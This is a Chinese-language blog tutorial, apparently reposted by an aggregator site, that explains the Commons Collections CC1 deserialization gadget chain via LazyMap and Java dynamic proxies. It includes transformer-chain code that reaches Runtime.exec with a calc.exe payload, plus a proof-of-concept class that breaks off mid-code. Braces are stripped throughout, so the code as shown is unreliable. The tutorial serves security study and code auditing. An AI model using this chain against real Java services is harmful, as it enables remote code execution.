CC1-下

Posted Zero_Adam

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CC1-下相关的知识,希望对你有一定的参考价值。

1. 前言

JDK版本需要时 8u71之前,尽管使用了动态代理

也就是说**LazyMap + 动态代理** == TransformedMap。。。。。

相比较于 TransformedMap 链相比,多出来的就是我们要了解 LazyMap ,还有动态代理

LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap 是在写入元素的时候执行transform(),就是在put()数据,写入键值对的时候,会调用它的第二个,第三个参数的 transform() 函数。还有Map.Entry的方法,现在知道,至少setValue()能够了。

The Map put methods and Map.Entry  method are affected by this class

LazyMap是在其 get方法中执行的 factory.transform()方法。 为什么是这样的呢?

像P神说的: LazyMap 的作用就是懒加载,在 get 找不到值的时候,他就会调用 factory的transform 方法去获取一个值:

    public Object get(Object key) 
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) 
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        
        return map.get(key);
    

但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在sun.reflect.annotation.AnnotationInvocationHandlerreadObject方法中并没有直接调用到Mapget方法。

那么我们就找一个类,什么类呢?,就是它会在自己readObject() 中调用到 Map.get() 方法,那么这个类就有潜能。

那么怎么去找呢?就是我们要分析的东西了

利用链

ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

2. 前置知识

2.1 LazyMap

看一下类注释。

翻译:

装饰另一个Map,来按照需求在map中创建对象;当 @link #get(Object) 这个方法被调用,且一个键不在map中,工厂将来创建对象,创建的对象将会作为需求keyvalue

/**
 * Decorates another <code>Map</code> to create objects in the map on demand.
 * <p>
 * When the @link #get(Object) method is called with a key that does not
 * exist in the map, the factory is used to create the object. The created
 * object will be added to the map using the requested key.
 * <p>
 * For instance:
 * <pre>
 * Factory factory = new Factory() 
 *     public Object create() 
 *         return new Date();
 *     
 * 
 * Map lazy = Lazy.map(new HashMap(), factory);
 * Object obj = lazy.get("NOW");
 * </pre>
 *
 * After the above code is executed, <code>obj</code> will contain
 * a new <code>Date</code> instance. Furthermore, that <code>Date</code>
 * instance is mapped to the "NOW" key in the map.
 * <p>
 * This class is Serializable from Commons Collections 3.1.
 *
 * @since Commons Collections 3.0
 * @version $Revision: 1.7 $ $Date: 2004/05/07 23:30:33 $
 * 
 * @author Stephen Colebourne
 * @author Paul Jack
 */
public class LazyMappublic class LazyMap
        extends AbstractMapDecorator
        implements Map, Serializable 

构造方法:

    /**
     * Factory method to create a lazily instantiated map.
     * 
     * @param map  the map to decorate, must not be null
     * @param factory  the factory to use, must not be null
     * @throws IllegalArgumentException if map or factory is null
     */
    public static Map decorate(Map map, Transformer factory) 
        return new LazyMap(map, factory);
    

当这个Map调用get()方法,而查找的key又不存在的情况下,这个工厂就会被用来创建新的对象,而且将被添加到这个map中。

TransformedMap的用法也差不多,都是用来修饰一个Map的,看个例子就懂了

    public static void main(String[] args)throws Exception 
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,new ConstantTransformer("adam"));
        Object object = outerMap.get("1");
        System.out.println(object);
    

outerMap.get("1") 返回的就是 ConstantTransformer("adam") 的那个transform() 方法返回的值,然后这是固定的,就是adam 了。

写一个命令执行: 触发的时候在 get() ,get什么内容随意的,上面懂了的化,自然懂。

        Transformer[] transformers = new Transformer[] 
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] String.class,
                Class[].class , new Object[]  "getRuntime",
                new Class[0] ),
            new InvokerTransformer("invoke", new Class[]  Object.class,
                Object[].class , new Object[]  null, new Object[0]
            ),
            new InvokerTransformer("exec", new Class[]  String.class ,
                new String[] 
                    "calc.exe" ),
        ;
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,transformerChain);
        Object object = outerMap.get("adam");

2.2 动态代理

之前学过了。我学了个shi,还是不会,

作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似php的魔术方法 __call ,我们需要用到 java.reflect.Proxy

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] Map.class, handler);

Proxy.newProxyInstance第一个参数ClassLoader,是要被代理类的ClassLoader。我们用默认的即可;第二个参数是我们要代理的对象集合第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑**。也就是我们具体是如何代理的。

之类贴一个 y4 师傅的一个劫持学习一下,然后把自己不会的也补了补

package aa;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class demo1 
    public static void main(String[] args) 

        /*这个是我们要被代理的实例,传入代理类的构造方法中*/
        flag myflag = new GiveFlag();
        InvocationHandler handler = new InvocationFlag(myflag);
        // 这个差不读是固定的了
        
        /*这个就是我们的代理实例了,代理的类型是 flag类型*/
        flag getFlag = (flag) Proxy.newProxyInstance(GiveFlag.class.getClassLoader(),new Class[]flag.class,handler);
        getFlag.getFlag();
        getFlag.test();
    


interface  flag
    void getFlag();
    void test();


class GiveFlag implements  flag

    @Override
    public void getFlag() 
        System.out.println("your flag flagafam_s_flag");
    

    @Override
    public void test() 
        System.out.println("testestset");
    


class InvocationFlag implements InvocationHandler

    private flag secretflag;

    public InvocationFlag(flag myflag) 
        this.secretflag = myflag;
    

    @Override
    public Object invoke(Object object, Method method, Object[] args) throws Throwable 
        System.out.println("====================================");
        System.out.println("开始代理了哦"); // 这个 Object object 用不上的,想要用对象的化,在构造方法中让他传参进来
        if(method.getName().equals("getFlag"))
            System.out.println("Hacker!! no flag");
            return  null;
        
        System.out.println("正常的方法还是帮忙执行的呢");
        Object ret = method.invoke(secretflag,args); // 知道了这里 invoke  不能使用 上面的Object,要使用 构造函数传进来的实例对象
        return ret;
    


补充动态代理重点:

public static void main(String[] args) 

    flag myflag = new GiveFlag();
    /*这个是我们要被代理的实例,传入代理类的构造方法中*/
    /* 这里才是决定我们使用哪一个代理类来帮助我们进行代理的,这个 InvovationFlag 是必须有 invoke() 方法,的当然,不是 new 对象也行,Class.newInstance() 这样的形式也行,只要这个类是有 invoke() 方法的就行, */
    InvocationHandler handler = new InvocationFlag(myflag);
    // 这个差不读是固定的了

    /*这个就是我们的代理实例了,代理的类型是 flag类型 , 我们走的 invoke() 方法就看 第三个参数的 handler 的,而handler是在上面决定的*/
    flag getFlag = (flag) Proxy.newProxyInstance(GiveFlag.class.getClassLoader(),new Class[]flag.class,handler);
    
    getFlag.getFlag();
    getFlag.test();

用我们这个例子来说:

动态代理:需要实现类 ,然后需要代理类 ,代理类是需要我们自己写的,

然后三个参数,第一个参数不要用,要用实例的化,我们可以在我们的代理类中写一个 构造方法,然后获取到被代理类的实例,然后用invoke执行被代理类 的方法即可,

main()函数中,需要我们将被代理类对象实例当作参数传入代理类对象实例InvocationHandler handler = new InvocationFlag(myflag);。就是后面这个对象,决定了我们走 invoke() 的时候走的是哪一个 invoke()

然后再使用Proxy.newProxyInstance(,,第三个参数是我们的代理类对象实例,)获取一个真正代理做事情的对象

然后我们就用这个真正代理做事情的对象,调用任何被代理类对象实例的任何方法,都会先走代理类对象实例中写的invoke()方法,

如果我们想做什么坏手段,都可以在代理类对象实例中写的invoke()方法中坏事做尽

就是这里决定的。当然也可以这样:

3. LazyMap 分析

3.1为什么要使用动态代理

之所以会用到动态代理,就是因为如果我们不用TransformedMap而用LazyMap的话,AnnotationInvocationHandlerreadObject里面并没有用到get(),但是在invoke()方法中却用到了:

public Object invoke(Object var1, Method var2, Object[] var3) 
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) 
        return this.equalsImpl(var3[0]);
     else if (var5.length != 0) 
        throw new AssertionError("Too many parameters for an annotation method");
     else 
        byte var7 = -1;
        switch(var4.hashCode()) 
        case -1776922004:
            if (var4.equals("toString")) 
                var7 = 0;
            
            break;
        case 147696667:
            if (var4.equals("hashCode")) 
                var7 = 1;
            
            break;
        case 1444986633:
            if (var4.equals("annotationType")) 
                var7 = 2;
            
        

        switch(var7) 
        case 0:
            return this.toStringImpl();
        case 1:
            return this.hashCodeImpl();
        case 2:
            return this.type;
        default:
            Object var6 = this.memberValues.get(var4);
            if (var6 == null) 
                throw new IncompleteAnnotationException(this.type, var4);
             else if (var6 instanceof ExceptionProxy) 
                throw ((ExceptionProxy)var6).generateException();
             else 
                if (var6.getClass().isArray() && Array.getLength(var6) != 0) 
                    var6 = this.cloneArray(var6);
                

                return var6;
            
        
    

我们就用它的原生的invoke()就能够实现我们想要做的坏事了( get() --> transform()

3.2 漏洞触发点

先得到方法的名字参数的类型数组,再依次对方法名称的哈希值用**switch判断,如果不是equals,toString,hashCode和annotationType**的话,就会进入default

            default:
                Object var6 = this.memberValues.get(var4);

这个memberVallues属性,就是我们构造函数中传入的被装饰后的 Map ,调用了get()方法,然后我们get()一个不存在的属性,然后他就走transform()方法了。就触发了就,这个 memberValues我们也是可控的,可在其构造方法的时候传入

关键是反序列化怎么才能触发这个invoke()方法?注意到 AnnotationInvocationHandler类 继承实现InvocationHandler类,看到这里我恍然大悟,怪不得和动态代理有关。实际上对动态代理熟一点的话,我看到这个类的名字也就该想到了。

因此大致的思路也就有了,用AnnotationInvocationHandler对我们构造的Map进行代理,这样在readObject中,只要调用了委托对象的任何方法,都会进入AnnotationInvocationHandler#invoke方法中,从而触发了漏洞。

3.3 构造poc

package ysoserial.test.adamtest;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class test01 

    public static void main(String[] args) throws Exception 
        Transformer[] transformers = new Transformer[] 
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] String.class,
                Class[].class , new Object[]  "getRuntime",
                new Class[0] ),
            new InvokerTransformer("invoke", new Class[]  Object.class,
                Object[].class , new Object[]  null, new Object[0]
            ),
            new Invoke

以上是关于CC1-下的主要内容,如果未能解决你的问题,请参考以下文章

CC1-下

Java代码审计-CC1 Chains

Java代码审计-CC1 LazyMap Chains

Java代码审计-CC1 LazyMap Chains

Java代码审计-CC1 Chains

当进行make命令学习是出现error trying to exec 'cc1': execvp: No such file or directory